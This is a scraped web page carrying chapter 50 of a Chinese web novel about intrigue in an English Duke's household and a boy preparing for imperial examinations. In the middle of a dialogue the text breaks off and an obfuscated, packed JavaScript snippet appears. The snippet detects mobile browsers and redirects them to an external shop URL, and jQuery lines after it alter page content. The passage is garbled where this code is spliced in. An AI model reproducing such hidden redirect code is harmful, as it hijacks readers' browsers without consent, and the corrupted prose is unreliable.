50. 第 50 章
作品:《公府嫡幼子科举路》 英国公府寿安堂
因着年岁大了,窦老太太早就带着房嬷嬷、喜鹊等人离开花厅,回到寿安堂。
不过片刻,窦夫人、二夫人相继来到寿安堂。
闻言,窦老太太眉头紧锁,淡声道:“喜鹊,都让她们进来。”这么晚了,不早些回院子歇着,还来寿安堂做甚?不过她们既然都来了,岂能不见?
窦夫人、二夫人一前一后被喜鹊领着进屋。
“见过母亲。”
“见过母亲。”
见状,窦老太太摆摆手:“行了,都起来,坐下说话。”
“是,多谢母亲。”
“是,多谢母亲。”
随后,窦夫人、二夫人坐下后,纷纷一声不吭地垂眸。
窦老太太???
她们这是闹得哪一出???
半晌,窦老太太等得不耐烦了,淡声道:“你们俩倒是说句话,来寿安堂有何事?”
眼看着二夫人、窦夫人仍旧不出声,轮到窦老太太发火了:“你们俩若是都不说,就早些各自回屋歇着,省得惹老婆子心烦,房嬷嬷,送客。”今个真是邪门了,一个两个尽添堵。
“母亲,儿媳实在逼不得已,才与大嫂一道找您。”二夫人方氏万般不情愿地开口,心底实在咽不下一口气,当下与窦夫人一拍即合。
“老二媳妇,到底是何事?”
“回母亲,是府上的中馈,郡主昨日找到儿媳,说等生辰后让妾室将中馈交于她,并非儿媳不愿,只是担心郡主不通庶务,您见多识广,故而先请示母亲。”二夫人方氏瞬间放低姿态,讨好婆母。
霎时,窦老太太脸色大变,沉声道:“老二媳妇,郡主竟然让你交出中馈?”这才刚进门多久,就算计掌管英国公府。紧接着,她又继续问到:“老二媳妇,那你是如何回答的?”
见状,二夫人方氏略略叹口气,缓缓道:“母亲,儿媳自然应下了。毕竟郡主是大哥的正妻,儿媳岂敢擅自反驳郡主。何况,大哥乃是国公府的主人,儿媳与夫君不过寄人篱下罢了。”为何英国公是老大,并非老二。如此,她不知道私下与夫君惋惜多少次。
听到二夫人说起寄人篱下,窦老太太恨铁不成钢的瞪着她,厉声道:“老二媳妇,府上的中馈暂且不交给郡主,此事由我替你撑腰。日后郡主再找你,尽管推到我头上来。”瞧老二媳妇那怂样,真是烂泥扶不上墙。
“是,母亲,儿媳记住了,多谢母亲。”二夫人方氏心慌怒放地站起身对着婆母行礼,如今有婆母撑腰,她能继续做英国公府的当家主母,威风的很。
之后,窦老太太瞥了一眼侄女,淡声道:“玉铃,你又有何事?”
听着窦老太太和二夫人的谈话,窦夫人不难发现姑母不喜欢昌平郡主。如此,她则是大着胆子开口:“母亲,妾身是看苏公子仍旧住在府上,后来找丫鬟打听,郡主似乎要留苏公子长住国公府,妾身是担心......”
“担心什么?”
“怎么?不敢说了?”
“母亲,妾身不敢。”
“哼!行了,世子之位不是外姓之人能惦记的?玉铃,你且将心放到肚子里,此事绝不可能!”
窦老太太知道侄女的那点心思,无非就是惦记正妻之位、世子之位。如今窦夫人成了英国公的平妻,庶长子钟卫洵自然水涨船高成了嫡长子。现下,朝中因边境外敌屡屡挑衅、储位之争,被拒绝过一次的英国公根本不敢请立世子,省得再被魏元帝当中训斥。
尤其钟卫衍背后有长姐康王妃、外祖母福安公主撑腰,加之魏元帝待康王魏洛如亲子,对表姐福安公主更是隔三差五赏赐一番。
并非窦老太太想让谁成为英国公世子就能成,嫡长子钟卫洵、嫡幼子钟卫衍,如今又来了英国公的继子,昌平郡主的独子苏勉。
昌平郡主虽说是赵王的嫡女,在赵王夫妇离世后,魏元帝看在赵王的份上,仍旧让她住在赵王府。可这并不代表,昌平郡主一个外嫁女儿能继承赵王府,至于她膝下的独子苏勉就更不可能继承赵王府。
如今窦老太太总算知晓二夫人、窦夫人为何一同来寿安堂,一个为了府上的中馈,一个为了世子之位,还皆是因昌平郡主之故。
最终,窦老太太信誓旦旦地对着二夫人、窦夫人保证,万事有她老婆子在。只是英国公已然续弦昌平郡主,且两人关系和睦,苏勉长住英国公府也在情理之中。所以她对着窦夫人下了命令,多笼络夫君的心才是正道。
......
英国公府幽兰居
曾经的英国公夫人罗氏住在这里,后来随着福安公主登门,据理力争带走了钟卫衍姐弟,又将罗氏的嫁妆封存在幽兰居,并派了心腹花嬷嬷看守。后来,随着钟卫漪出嫁,将罗氏所有的嫁妆都带入康王府,就算借窦老太太一百个胆,断然不敢在皇家婚宴动手脚,一朝事发,那可是抄家灭族的大罪。
后来幽兰居一直闲置,也是两个月前才迎来新的主人,英国公的继室昌平郡主。
寿宴结束后,昌平郡主拖着疲倦的身子回到幽兰居。至于英国公,则是被魏元帝紧急召入宫中,想必有要事。
贴身伺候的孙嬷嬷心疼地搀扶昌平郡主坐下,双手熟练地按摩起来。
“嬷嬷,左边力道重一些。”
“是,郡主。”
“嬷嬷,若是留勉哥儿长住国公府,他乐意吗?”
孙嬷嬷:“......”
倏忽,昌平郡主飞快地转过身,认真的看向孙嬷嬷。
这时,孙嬷嬷扑通一声跪在地上,低声道:“郡主,老奴不敢妄自揣测苏公子的心意,请郡主见谅。”
闻言,昌平郡主微微一笑,站起身主动搀扶孙嬷嬷起身,温声道:“嬷嬷,父王、母妃皆不在了,那些兄弟姐妹不提也罢。实在身边没有商量的人了,找你说说话罢了,你别动不动跪下来,莫非我是那等蛮不讲理之人?”
“郡主,既如此,那老奴就大胆说一句,您是苏公子的母亲,不由先跟他通个气。”
“嬷嬷,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227062|195498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你多虑了,勉哥儿是我的儿子,我清楚。长住赵王府终究不是长久之计,只有留在国公府,日后才能图谋世子之位。”
“郡主,可老夫人那里?”
“嬷嬷,若是老夫人端着婆母的架子,那就别怪我也端着郡主的身份,倒要看看是谁先服软?对了,派人去门口候着,国公府一回府便请过来。”
“是,郡主。”
“好了,下去吧!”
“老奴告退。”
......
参加昌平郡主的生辰宴后,钟卫衍便忙不迭地给好友陈善生去信,请他到京都一叙。同时,信中亦告知好友,他通过了府试。
县试、府试通过了,接下来便是八月底的院试。如今是五月初,算算日子,钟卫衍还有三个多月准备复习备考,参加院试。
一般情况下,县试每年一次,府试每年一次,院试每三年两次。若是时间算的不对,府试后当年不得参加院试,还得登上一两年。不得不说师父胡太傅的决定没错,让十岁的钟卫衍参加今年的县试、府试、院府,都在同一年内。
虽说行程有些赶,但是只要钟卫衍心平气和沉下心,认真跟着师父的学习步伐,想来通过院试亦不是难事。唯独明年的秋闱让钟卫衍有些担忧,越往后参加科考必定越难,不仅试题难度大,而且参加科考人员也增多。到最后真的是:千军万马过独木桥。
三日后,钟卫衍未收到好友的回信,倒是府上迎来了一位稀客,不免让在书房练字的他愣住了,半晌才回过神,随即吩咐祥鹏将来客请进来。
昨日天气甚好,钟卫衍去了一趟另一个外祖母府上。她是母亲未出阁前在永宁侯府结识的永宁侯庶妹殷素芷,亦是外祖母福安公主的庶妹,后嫁给了京都国子监祭酒为妻,其子十二岁的陈修铭不仅是钟卫衍的表舅,亦是他的好友知己。
很快,钟卫衍就见到二姐钟卫清,只见她一身淡蓝色长裙,头上只戴了一支银簪,脸上涂抹了厚重的妆容,整个人较昌平郡主郡主寿宴又清减了些。
“二姐,快些坐下说话。”
“衍哥儿,二姐也是没法子了,才登门见你。”
“哎,二姐,你别哭,有话好好说,不着急。”
“衍哥儿,求你救救我!”
钟卫衍???
二姐钟卫清不是年初,钟卫衍仔细在脑海中回想,对了,应该是正月二十六刚成婚,他还送去了添妆,回国公府参加了寿宴。如今二姐成婚三个多月,莫不是日子过得不痛快?
至于二姐夫,乃是二叔的上司刑部侍郎庶出儿子秦泰。钟卫衍见过两次,绞尽脑汁回忆,二姐夫秦泰一表人才,与二姐夫甚是相配。
如今二姐这是闹哪一出?
待钟卫清大哭一场后,不免有些羞愧,低声道:“衍哥儿,抱歉,让你见笑了。”
“二姐,都是自家人,有事可以直说,若是小弟能帮上忙,绝对不会推辞。”钟卫衍疾步走到二姐身边,郑重其事地表态。
......

